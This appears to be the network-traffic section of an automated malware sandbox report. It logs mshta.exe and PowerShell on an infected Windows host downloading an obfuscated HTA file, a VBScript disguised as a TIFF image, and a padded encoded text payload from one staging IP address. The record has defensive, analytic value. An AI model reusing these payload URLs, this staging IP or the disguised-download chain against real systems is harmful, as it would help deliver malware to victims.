Oct 25, 2024 19:46:30.382687092 CEST	1060	IN	Data Raw: 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 Data Ascii: 52520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%252525
Oct 25, 2024 19:46:30.387351036 CEST	1236	IN	Data Raw: 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 46 61 70 4b 46 4b 76 57 72 77 4d 4c 5a 4a 43 4d 52 4b 63 5a 6a 4a 70 4f 75 42 44 55 77 79 50 66 73 74 75 4f 70 53 6a 56 46 61 4e 71 6a 68 59 63 69 57 49 67 51 4a 4a 79 46 57 6d Data Ascii: 0%2525252520%2525252520FapKFKvWrwMLZJCMRKcZjJpOuBDUwyPfstuOpSjVFaNqjhYciWIgQJJyFWmiLppQEBvrPSLQqBlTNLpUgBxXHqtDUsgfoCLbEFTNUqcENiHOAeDkaHZSxotYCXLeUUeHHOrAsWlejbCyjSORdvNnakLDQUEDrawCcjqWZrnmUpzqELaMFaqDgNxnbplVuCPIcZryBjjYihZNzqnQVDkjCEEZwskC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49164	192.3.176.141	80	3832	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:46:32.421638012 CEST	454	OUT	GET /42/ug/seethebestthingsevermeetwithgreatthingstobegood.hta HTTP/1.1 Accept: / Accept-Language: fr-FR UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Range: bytes=8896- Connection: Keep-Alive Host: 192.3.176.141 If-Range: "33177-625458e388bb6"
Oct 25, 2024 19:46:33.094748974 CEST	1236	IN	HTTP/1.1 206 Partial Content Date: Fri, 25 Oct 2024 17:46:32 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Fri, 25 Oct 2024 04:28:49 GMT ETag: "33177-625458e388bb6" Accept-Ranges: bytes Content-Length: 200375 Content-Range: bytes 8896-209270/209271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/hta Data Raw: 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 [TRUNCATED] Data Ascii: 2520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520
Oct 25, 2024 19:46:33.094780922 CEST	1236	IN	Data Raw: 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 Data Ascii: %2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%
Oct 25, 2024 19:46:33.094800949 CEST	424	IN	Data Raw: 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 Data Ascii: 5252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525
Oct 25, 2024 19:46:33.095031977 CEST	1236	IN	Data Raw: 41 73 57 6c 65 6a 62 43 79 6a 53 4f 52 64 76 4e 6e 61 6b 4c 44 51 55 45 44 72 61 77 43 63 6a 71 57 5a 72 6e 6d 55 70 7a 71 45 4c 61 4d 46 61 71 44 67 4e 78 6e 62 70 6c 56 75 43 50 49 63 5a 72 79 42 6a 6a 59 69 68 5a 4e 7a 71 6e 51 56 44 6b 6a 43 Data Ascii: AsWlejbCyjSORdvNnakLDQUEDrawCcjqWZrnmUpzqELaMFaqDgNxnbplVuCPIcZryBjjYihZNzqnQVDkjCEEZwskCRgkVYtXB%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%25
Oct 25, 2024 19:46:33.095043898 CEST	1236	IN	Data Raw: 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 Data Ascii: 52520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%252525
Oct 25, 2024 19:46:33.095057011 CEST	1236	IN	Data Raw: 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 Data Ascii: 0%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520
Oct 25, 2024 19:46:33.095072031 CEST	1236	IN	Data Raw: 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 Data Ascii: 25252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%252
Oct 25, 2024 19:46:33.095485926 CEST	848	IN	Data Raw: 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 Data Ascii: 2520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252
Oct 25, 2024 19:46:33.095980883 CEST	1236	IN	Data Raw: 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 Data Ascii: 520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%25252525
Oct 25, 2024 19:46:33.095993996 CEST	1236	IN	Data Raw: 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 Data Ascii: 20%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%252525252
Oct 25, 2024 19:46:33.100203037 CEST	1236	IN	Data Raw: 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 Data Ascii: 525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%25

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49165	192.3.176.141	80	3924	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:46:41.037559986 CEST	364	OUT	GET /42/logisticthingswithgoodthingsgivenbest.tIF HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 192.3.176.141 Connection: Keep-Alive
Oct 25, 2024 19:46:42.802309036 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 17:46:41 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Fri, 25 Oct 2024 04:05:40 GMT ETag: "222be-625453b768b38" Accept-Ranges: bytes Content-Length: 139966 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: image/tiff Data Raw: ff fe 70 00 72 00 69 00 76 00 61 00 74 00 65 00 20 00 66 00 75 00 6e 00 63 00 74 00 69 00 6f 00 6e 00 20 00 43 00 72 00 65 00 61 00 74 00 65 00 53 00 65 00 73 00 73 00 69 00 6f 00 6e 00 28 00 77 00 73 00 6d 00 61 00 6e 00 2c 00 20 00 63 00 6f 00 6e 00 53 00 74 00 72 00 2c 00 20 00 6f 00 70 00 74 00 44 00 69 00 63 00 2c 00 20 00 61 00 6c 00 65 00 6e 00 74 00 61 00 64 00 61 00 6d 00 65 00 6e 00 74 00 65 00 29 00 0d 00 0a 00 20 00 20 00 20 00 20 00 64 00 69 00 6d 00 20 00 61 00 6e 00 64 00 6f 00 61 00 72 00 46 00 6c 00 61 00 67 00 73 00 0d 00 0a 00 20 00 20 00 20 00 20 00 64 00 69 00 6d 00 20 00 63 00 6f 00 6e 00 4f 00 70 00 74 00 20 00 0d 00 0a 00 20 00 20 00 20 00 20 00 64 00 69 00 6d 00 20 00 61 00 6e 00 64 00 6f 00 61 00 72 00 0d 00 0a 00 20 00 20 00 20 00 20 00 64 00 69 00 6d 00 20 00 61 00 75 00 74 00 68 00 56 00 61 00 6c 00 0d 00 0a 00 20 00 20 00 20 00 20 00 64 00 69 00 6d 00 20 00 65 00 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 56 00 61 00 6c 00 0d 00 0a 00 20 00 20 00 20 00 20 00 64 00 69 00 [TRUNCATED] Data Ascii: private function CreateSession(wsman, conStr, optDic, alentadamente) dim andoarFlags dim conOpt dim andoar dim authVal dim encodingVal dim encryptVal dim pw dim tout ' proxy information dim proxyAccessType dim proxyAccessTypeVal dim proxyAuthenticationMechanism dim proxyAuthenticationMechanismVal dim proxyUsername dim proxyPassword andoarFlags = 0 proxyAccessType =
Oct 25, 2024 19:46:42.802377939 CEST	1236	IN	Data Raw: 00 20 00 30 00 0d 00 0a 00 20 00 20 00 20 00 20 00 70 00 72 00 6f 00 78 00 79 00 41 00 63 00 63 00 65 00 73 00 73 00 54 00 79 00 70 00 65 00 56 00 61 00 6c 00 20 00 3d 00 20 00 30 00 0d 00 0a 00 20 00 20 00 20 00 20 00 70 00 72 00 6f 00 78 00 79 Data Ascii: 0 proxyAccessTypeVal = 0 proxyAuthenticationMechanism = 0 proxyAuthenticationMechanismVal = 0 proxyU
Oct 25, 2024 19:46:42.802395105 CEST	1236	IN	Data Raw: 00 2d 00 38 00 22 00 20 00 74 00 68 00 65 00 6e 00 0d 00 0a 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 61 00 6e 00 64 00 6f 00 61 00 72 00 46 00 6c 00 61 00 67 00 73 00 20 00 3d 00 20 00 61 00 6e 00 64 00 6f 00 61 Data Ascii: -8" then andoarFlags = andoarFlags OR wsman.SessionFlagUTF8 else ' Invalid!
Oct 25, 2024 19:46:42.802561045 CEST	648	IN	Data Raw: 00 6e 00 0d 00 0a 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 41 00 53 00 53 00 45 00 52 00 54 00 42 00 4f 00 4f 00 4c 00 20 00 6f 00 70 00 74 00 44 00 69 00 63 00 2e 00 41 00 72 00 67 00 75 00 6d 00 65 00 6e 00 74 00 45 00 78 00 69 00 73 Data Ascii: n ASSERTBOOL optDic.ArgumentExists(NPARA_REMOTE), "The '-" & NPARA_USESSL & "' option is only valid when use
Oct 25, 2024 19:46:42.802575111 CEST	24	IN	Data Raw: 00 20 00 6f 00 70 00 74 00 44 00 69 00 63 00 2e 00 41 00 72 00 67 00 75 Data Ascii: optDic.Argu
Oct 25, 2024 19:46:42.944082022 CEST	1236	IN	Data Raw: 00 6d 00 65 00 6e 00 74 00 28 00 4e 00 50 00 41 00 52 00 41 00 5f 00 41 00 55 00 54 00 48 00 29 00 0d 00 0a 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 73 00 65 00 6c 00 65 00 63 00 74 00 20 00 63 00 61 00 73 00 65 00 20 00 4c 00 43 00 61 Data Ascii: ment(NPARA_AUTH) select case LCase(authVal) case VAL_NO_AUTH andoarFlags = andoarF
Oct 25, 2024 19:46:42.944133043 CEST	1236	IN	Data Raw: 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 27 00 55 00 73 00 65 00 20 00 2d 00 75 00 73 00 65 00 72 00 6e 00 61 00 6d 00 65 00 20 00 61 00 6e 00 64 00 20 00 2d 00 70 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 00 2e 00 20 00 20 Data Ascii: 'Use -username and -password. ASSERTBOOL optDic.ArgumentExists(NPARA_USERNAME), "The '-" & N
Oct 25, 2024 19:46:42.944207907 CEST	1236	IN	Data Raw: 00 62 00 65 00 20 00 73 00 70 00 65 00 63 00 69 00 66 00 69 00 65 00 64 00 20 00 66 00 6f 00 72 00 20 00 27 00 2d 00 61 00 75 00 74 00 68 00 3a 00 64 00 69 00 67 00 65 00 73 00 74 00 27 00 22 00 0d 00 0a 00 20 00 20 00 20 00 20 00 20 00 20 00 20 Data Ascii: be specified for '-auth:digest'" ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT
Oct 25, 2024 19:46:42.944439888 CEST	1236	IN	Data Raw: 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 27 00 2d 00 75 00 73 00 65 00 72 00 6e 00 61 00 6d 00 65 00 20 00 61 00 6e 00 64 00 20 00 2d 00 70 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 00 20 00 61 00 72 00 65 00 20 Data Ascii: '-username and -password are optional. ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "
Oct 25, 2024 19:46:42.944457054 CEST	848	IN	Data Raw: 00 26 00 20 00 4e 00 50 00 41 00 52 00 41 00 5f 00 55 00 53 00 45 00 52 00 4e 00 41 00 4d 00 45 00 20 00 26 00 20 00 22 00 27 00 20 00 6f 00 70 00 74 00 69 00 6f 00 6e 00 20 00 69 00 73 00 20 00 6e 00 6f 00 74 00 20 00 76 00 61 00 6c 00 69 00 64 Data Ascii: & NPARA_USERNAME & "' option is not valid for '-auth:certificate'" ASSERTBOOL not optDic.ArgumentExists(
Oct 25, 2024 19:46:42.944675922 CEST	1236	IN	Data Raw: 00 61 00 2c 00 20 00 22 00 54 00 68 00 65 00 20 00 73 00 70 00 65 00 63 00 69 00 66 00 69 00 65 00 64 00 20 00 27 00 2d 00 22 00 20 00 26 00 20 00 4e 00 50 00 41 00 52 00 41 00 5f 00 41 00 55 00 54 00 48 00 20 00 26 00 20 00 22 00 27 00 20 00 66 Data Ascii: a, "The specified '-" & NPARA_AUTH & "' flag '" & authVal & "' has an invalid value." ASSERTBOOL optDic.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.22	49170	192.3.176.141	80	3336	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:46:52.185659885 CEST	489	OUT	GET /42/ug/seethebestthingsevermeetwithgreatthingstobegood.hta HTTP/1.1 Accept: / Accept-Language: fr-FR UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) If-Modified-Since: Fri, 25 Oct 2024 04:28:49 GMT Connection: Keep-Alive Host: 192.3.176.141 If-None-Match: "33177-625458e388bb6"
Oct 25, 2024 19:46:52.895457983 CEST	275	IN	HTTP/1.1 304 Not Modified Date: Fri, 25 Oct 2024 17:46:51 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Fri, 25 Oct 2024 04:28:49 GMT ETag: "33177-625458e388bb6" Accept-Ranges: bytes Keep-Alive: timeout=5, max=100 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.22	49175	192.3.176.141	80	1372	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:47:19.849925995 CEST	76	OUT	GET /42/LOGLKI.txt HTTP/1.1 Host: 192.3.176.141 Connection: Keep-Alive
Oct 25, 2024 19:47:21.044997931 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 17:47:19 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Fri, 25 Oct 2024 03:56:38 GMT ETag: "22aac-625451b21eced" Accept-Ranges: bytes Content-Length: 141996 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/plain Data Raw: 3d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 [TRUNCATED] Data Ascii: =AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 25, 2024 19:47:21.045033932 CEST	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 25, 2024 19:47:21.045051098 CEST	424	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 25, 2024 19:47:21.045066118 CEST	24	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAA
Oct 25, 2024 19:47:21.314481020 CEST	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 25, 2024 19:47:21.314546108 CEST	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 25, 2024 19:47:21.314613104 CEST	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
